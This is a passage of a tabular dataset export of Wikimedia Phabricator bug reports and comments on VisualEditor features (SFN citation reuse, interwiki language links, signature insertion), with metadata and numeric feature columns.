template.",,,1442195570,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-ksoksajvjcd37y5wvvq2,task_subcomment,,True,c1,3,False,,,115,,0.0,0.0,0.0,1.0,1.5,4.0,2.5,0.0,0.0,0.0,3.5,0.5,0.0,0.0,0.0,2.0,0.5,5.0,13.5,0.0,2.0,0.0,1.0,0.0,2.0,1.0,0.0,0.5,0.5,0.0,0.5,4.0,2.0,1.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,1.0,0.5,0.0,1.5,16.5,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,6.0,4.5,9.0,2.5,3.0,8.0,0.0,0.0,0.0,3.0,3.5,0.0,3.5,0.0,3.0,13.5,3.5,0.0,2.0,0.0,3.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,2.5,3.6354166666666665,0.6770833333333334,"I guess I agree that it may not be worthwhile to support creating new footnotes with the [[URL shortened footnotes (SFN) template]]. 

However, for the time being this system is still around on enwiki. And since this bug was filed, the citation reuse features was introduced in VE, and there it's an awkward and confusing user experience that one is not able to reuse already existing sfn footnotes. 

Compare the list of footnotes offered for reuse in
URL  (via ""Cite"" -> ""Re-use"")  with the actual [[URL |list of footnotes in that article revision]]. The numbering is inconsistent, e.g. #7 (John Hutchins) in the article becomes #3 in VE, with the original footnots #3, #4, #5 and #6 mission. I had to search and think for a while to realize that I wasn't simply overlooking things and that the reason for the discrepancy is this template."
253315,VisualEditor: Support for SFN and similar references,"Cite.php is designed a certain (bad) way. It has issues, and we will replace it at some point, but the way to fix its issues is not to make horrible hacks in wikitext using loopholes over-looked when the code was written to try to re-design in.

This is one of those cases, and is not sanely supportable in VisualEditor, so I'm going to mark this as WONTFIX. I know I previously said ""lowest"", but I don't think that that's a justifiable direction for the product to go in.",,,1393541245,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ksoksajvjcd37y5wvvq2,task_subcomment,,True,c1,3,True,,,34,,0.5,0.0,0.0,1.0,2.5,4.5,0.5,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,7.0,11.5,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.5,7.0,2.0,1.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.5,3.5,7.5,1.5,3.0,7.5,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,5.5,11.5,2.5,0.0,2.0,0.0,5.5,0.0,0.5,1.5,0.0,1.5,0.0,1.0,0.0,3.55,0.797979797979798,"Cite.php is designed a certain (bad) way. It has issues, and we will replace it at some point, but the way to fix its issues is not to make horrible hacks in wikitext using loopholes over-looked when the code was written to try to re-design in.

This is one of those cases, and is not sanely supportable in VisualEditor, so I'm going to mark this as WONTFIX. I know I previously said ""lowest"", but I don't think that that's a justifiable direction for the product to go in."
253311,VisualEditor: Support for SFN and similar references,"As discussed previously, supporting this wikitext hack is exceptionally difficult to do, and it would be much more sensible to spend the effort on a proper cross-page, cross-wiki citations system instead which would solve the same problem (and lots more). However, it's not impossible, so keeping open as a lowest-priority enhancements.",,,1383281654,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ksoksajvjcd37y5wvvq2,task_subcomment,,True,c1,3,True,,,17,,1.0,0.0,0.0,0.0,1.0,15.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,3.0,3.0,1.0,0.0,4.268656716417911,0.7761194029850746,"As discussed previously, supporting this wikitext hack is exceptionally difficult to do, and it would be much more sensible to spend the effort on a proper cross-page, cross-wiki citations system instead which would solve the same problem (and lots more). However, it's not impossible, so keeping open as a lowest-priority enhancements."
53355,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"Hi,

a: Currently language list displayed below MediaWiki:Visualeditor-dialog-meta-languages-readonlynote/mr does not open the respective language wiki but when that is possible along with that respective language item ULS should offer option to open up the respective language wiki with related display and/or input .May be this shall need to mingle three extensions VE,wikidata,ULS and also

b When in menubar languages displayed by wikidata if curser hover over any wiki language name options as requested in 4a should display and available. (Whether this needs to split as a separate bug ?)



*To understand further the need for above request,please do refer to survey
data and analysis provided at
http://www.mediawiki.org/wiki/Talk:Universal_Language_Selector#feature_to_make_content_language_input__default_28864

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51431",Lowest,10.0,1373886360,,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-jfzrmnmoj3qahau2ohse,task_description,open,True,c1,3,False,False,,2,,0.5,0.0,0.0,0.0,0.5,6.0,1.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,11.0,0.0,2.0,1.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,16.0,1.5,0.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.0,9.0,2.0,2.5,5.5,0.0,0.0,0.0,0.0,7.5,1.0,0.5,0.0,0.0,11.0,4.5,0.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,4.268292682926829,0.725609756097561,"Hi,

a: Currently language list displayed below MediaWiki:Visualeditor-dialog-meta-languages-readonlynote/mr does not open the respective language wiki but when that is possible along with that respective language item ULS should offer option to open up the respective language wiki with related display and/or input .May be this shall need to mingle three extensions VE,wikidata,ULS and also

b When in menubar languages displayed by wikidata if curser hover over any wiki language name options as requested in 4a should display and available. (Whether this needs to split as a separate bug ?)



*To understand further the need for above request,please do refer to survey
data and analysis provided at
URL

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
243283,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"1(In reply to comment #6)
> (In reply to comment #5)
> However, is this a duplicate of bug 52383 maybe?

::No not at all,if I have read bug 52383 correctly,it is asking to scrap certain feature made avaialable by VE by some frustrated user.Unless you are ready to scrap parts of VE design in that sense it is not an enhancement bug at all and most likely bug 52383 need to be wont fix


* This bug 51355 assumes that any way you will be completeing the bug 52105. This bug is an enhancement over bug 52105 (So parsing job is happening at bug 52105)  and also expects bug 51431 enhancement also too take place.
::In other words this bug 51355 wants to mount bug 51431 enhancement over bug 52105 enhancement.",,,1376726474,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,False,,,6,,2.0,0.0,0.0,0.0,1.0,3.0,1.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,7.5,10.0,0.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,6.0,2.0,1.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.5,14.5,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,2.0,4.5,6.5,1.5,1.0,5.5,0.0,0.0,0.0,0.5,5.0,0.5,7.5,0.0,2.5,10.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,2.5,0.0,0.5,0.0,3.71830985915493,0.704225352112676,"1(In reply to comment #6)
QUOTE
QUOTE

::No not at all,if I have read bug 52383 correctly,it is asking to scrap certain feature made avaialable by VE by some frustrated user.Unless you are ready to scrap parts of VE design in that sense it is not an enhancement bug at all and most likely bug 52383 need to be wont fix


* This bug 51355 assumes that any way you will be completeing the bug 52105. This bug is an enhancement over bug 52105 (So parsing job is happening at bug 52105)  and also expects bug 51431 enhancement also too take place.
::In other words this bug 51355 wants to mount bug 51431 enhancement over bug 52105 enhancement."
243274,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"(In reply to comment #5)
> *In VisualEditor - Toolbar -Page settings - language Section shows languages
> heading with following message  
> http://www.mediawiki.org/wiki/MediaWiki:Visualeditor-dialog-meta-languages-
> section 
> *Below this message  VisualEditor - Toolbar -Page settings - language Section
> reproduces the same list of interwiki languages that I provided by Wiki data.
> *Currently these language links are not parsed. 

Not sure what you want to ""parse"" here, plus parsed by who?
However, is this a duplicate of bug 52383 maybe?

Please also update the bug summary to be descriptive. Thanks!",,,1376565627,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,2.0,5.0,0.0,0.0,2.0,2.0,6.0,2.0,3.0,0.0,2.0,11.0,8.0,3.0,3.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.234375,0.6875,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not sure what you want to ""parse"" here, plus parsed by who?
However, is this a duplicate of bug 52383 maybe?

Please also update the bug summary to be descriptive. Thanks!"
243266,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"I have split point b in a separate bug 51431.  


*In VisualEditor - Toolbar -Page settings - language Section shows languages heading with following message  
http://www.mediawiki.org/wiki/MediaWiki:Visualeditor-dialog-meta-languages-section 

*Below this message  VisualEditor - Toolbar -Page settings - language Section reproduces the same list of interwiki languages that I provided by Wiki data.

*Currently these language links are not parsed. 

*This bug expects the same feature that is expected in bug 51431 but in context of Visual Editor toolbar -page settings languages",,,1374080554,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,26.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,3.0,2.0,17.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,4.619565217391305,0.6630434782608695,"I have split point b in a separate bug 51431.  


*In VisualEditor - Toolbar -Page settings - language Section shows languages heading with following message  
URL 

*Below this message  VisualEditor - Toolbar -Page settings - language Section reproduces the same list of interwiki languages that I provided by Wiki data.

*Currently these language links are not parsed. 

*This bug expects the same feature that is expected in bug 51431 but in context of Visual Editor toolbar -page settings languages"
243258,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,...and please provide a bug summary that describes the actual feature request.,,,1374075864,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,4.785714285714286,1.0,...and please provide a bug summary that describes the actual feature request.
243250,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"Please provide exact and clear steps (click by click, as a numbered list) so anybody else could reproduce the problem, plus the expected and the actual outcome. I still don't know which page you are on, etc.
See https://www.mediawiki.org/wiki/How_to_report_a_bug for general info.",,,1374075169,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,True,,,2,,0.0,2.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,6.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,8.0,2.0,8.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,3.7115384615384617,0.8461538461538461,"Please provide exact and clear steps (click by click, as a numbered list) so anybody else could reproduce the problem, plus the expected and the actual outcome. I still don't know which page you are on, etc.
See URL for general info."
243243,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"Created attachment 12860
Request for Wikidata interwiki wikis to open with respective language ULS display and input

**Attached**: {F11455}",,,1373971802,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,0.8928571428571429,"Created attachment 12860
Request for Wikidata interwiki wikis to open with respective language ULS display and input

**Attached**: {F11455}"
243235,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"Please provide a screenshot of the current problem that you would like to
solve, plus a link to a wikipage where the problem can be seen. 
Furthermore, please only file one problem per report. 
Also see https://www.mediawiki.org/wiki/How_to_report_a_bug

> *To understand further the need for above request,please do refer to survey
> data and analysis provided at
> http://www.mediawiki.org/wiki/Talk:
> Universal_Language_Selector#feature_to_make_content_language_input__default_2
> 8864

Please summarize the points made there instead of making me read a long thread.",,,1373893720,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,1.0,14.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,11.0,4.0,1.0,0.0,3.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,1.0,1.0,0.0,0.0,0.0,3.857142857142857,0.6571428571428571,"Please provide a screenshot of the current problem that you would like to
solve, plus a link to a wikipage where the problem can be seen. 
Furthermore, please only file one problem per report. 
Also see URL

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Please summarize the points made there instead of making me read a long thread."
53154,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"The ability to sign posts is useful outside of talk name spaces. For instance http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback is in project space. While that might one day be in flow there are many other project space items where  its useful to be able to sign. For instance lists of project members. Some uses have guest books in the User: space which can be signed. 

You can't even enter them manually due to T51820.

A button to insert this would be good, possibly done at the same time as bug 38029 which would insert symbols.
 
This was discussed at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Let_me_sign.21

----

VisualEditor now allows you to insert signatures on pages that are in `$wgExtraSignatureNamespaces` (and any talk pages).

This was previously implemented as a user script / gadget is available at https://meta.wikimedia.org/wiki/User:Matma_Rex/visualeditor-signature.js.",Lowest,10.0,1373511180,1447719434.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-kttslfnxq434mabydy2v,task_description,resolved,True,c1,3,False,False,False,1,,1.5,0.0,0.0,2.0,0.5,4.5,4.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,0.5,0.0,0.0,4.5,13.0,0.0,3.0,0.0,0.5,0.0,1.5,0.0,0.0,0.5,1.0,1.5,0.0,4.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.5,0.0,2.5,0.0,0.5,0.0,20.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.5,0.5,1.0,0.0,3.0,6.5,9.5,1.0,0.5,8.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,2.5,13.0,3.0,0.0,0.0,0.0,2.5,0.0,2.5,1.5,0.5,0.0,0.0,0.0,0.0,3.891891891891892,0.75,"The ability to sign posts is useful outside of talk name spaces. For instance URL is in project space. While that might one day be in flow there are many other project space items where  its useful to be able to sign. For instance lists of project members. Some uses have guest books in the User: space which can be signed. 

You can't even enter them manually due to T51820.

A button to insert this would be good, possibly done at the same time as bug 38029 which would insert symbols.
 
This was discussed at URL

----

VisualEditor now allows you to insert signatures on pages that are in CODE (and any talk pages).

This was previously implemented as a user script / gadget is available at URL"
685488,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"@Trizek-WMF Sure, I know, @Urbanecm told us the same on cswiki on community forum. I think we also have got on cswiki some bugs subpage under WP:Flow page, where all the bugs found are listed. I'll take a look into tasks I sent here, if there is another one I forgot to mention on that subpage.",,,1467125739,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,156,,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,10.0,0.0,4.0,12.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,16.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,12.0,6.0,0.0,0.0,0.0,10.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,3.6029411764705883,0.75,"SCREEN_NAME-WMF Sure, I know,SCREEN_NAME told us the same on cswiki on community forum. I think we also have got on cswiki some bugs subpage under WP:Flow page, where all the bugs found are listed. I'll take a look into tasks I sent here, if there is another one I forgot to mention on that subpage."
685485,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"@Trizek-WMF Sure, I know, @Urbanecm told us the same on cswiki on community forum. I think we also have got on cswiki some bugs subpage under WP:Flow page, where all the bugs are listed. I'll take a look into tasks I sent here, if there is another one I forgot to mention on that subpage.",,,1467125678,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,156,,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,10.0,0.0,4.0,12.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,16.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,12.0,6.0,0.0,0.0,0.0,10.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,3.582089552238806,0.746268656716418,"SCREEN_NAME-WMF Sure, I know,SCREEN_NAME told us the same on cswiki on community forum. I think we also have got on cswiki some bugs subpage under WP:Flow page, where all the bugs are listed. I'll take a look into tasks I sent here, if there is another one I forgot to mention on that subpage."
685408,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"@Dvorapa, please contact me if you have any suggestions about Flow bugs which need to be fixed.",,,1467110390,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,156,,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,11.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,4.315789473684211,1.0,"SCREEN_NAME, please contact me if you have any suggestions about Flow bugs which need to be fixed."
683105,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,,,,1466612046,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,155,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
683008,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,,,,1466604894,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,155,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
682988,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,">>! In T53154#2399021, @Dvorapa wrote:
> @Jdforrester-WMF I see, thank you. Still looking for a good talk solution - Flow is too buggy, VisualEditor is not really designed for discussions and wikitext is not easy to learn for novice users.

I think getting the bugs in Flow fixed is the best option at this point, but I appreciate that there's a few things people would like to see added there.",,,1466602713,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,155,,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,14.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.7027027027027026,0.8918918918918919,"QUOTE
QUOTE

I think getting the bugs in Flow fixed is the best option at this point, but I appreciate that there's a few things people would like to see added there."
682987,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"@Jdforrester-WMF I see, thank you. Still looking for a good talk solution - Flow is too buggy, VisualEditor is not really designed for discussions and wikitext is not easy to learn for novice users.",,,1466602589,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,155,,0.0,0.0,0.0,2.0,5.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,10.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.1,0.8,"SCREEN_NAME-WMF I see, thank you. Still looking for a good talk solution - Flow is too buggy, VisualEditor is not really designed for discussions and wikitext is not easy to learn for novice users."
682980,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,">>! In T53154#2398111, @Dvorapa wrote:
> Is there any option how to add a signature button to the main VE bar (e.g. instead of the special symbol button or next to?) (discussed on cswiki; just asking if possible)

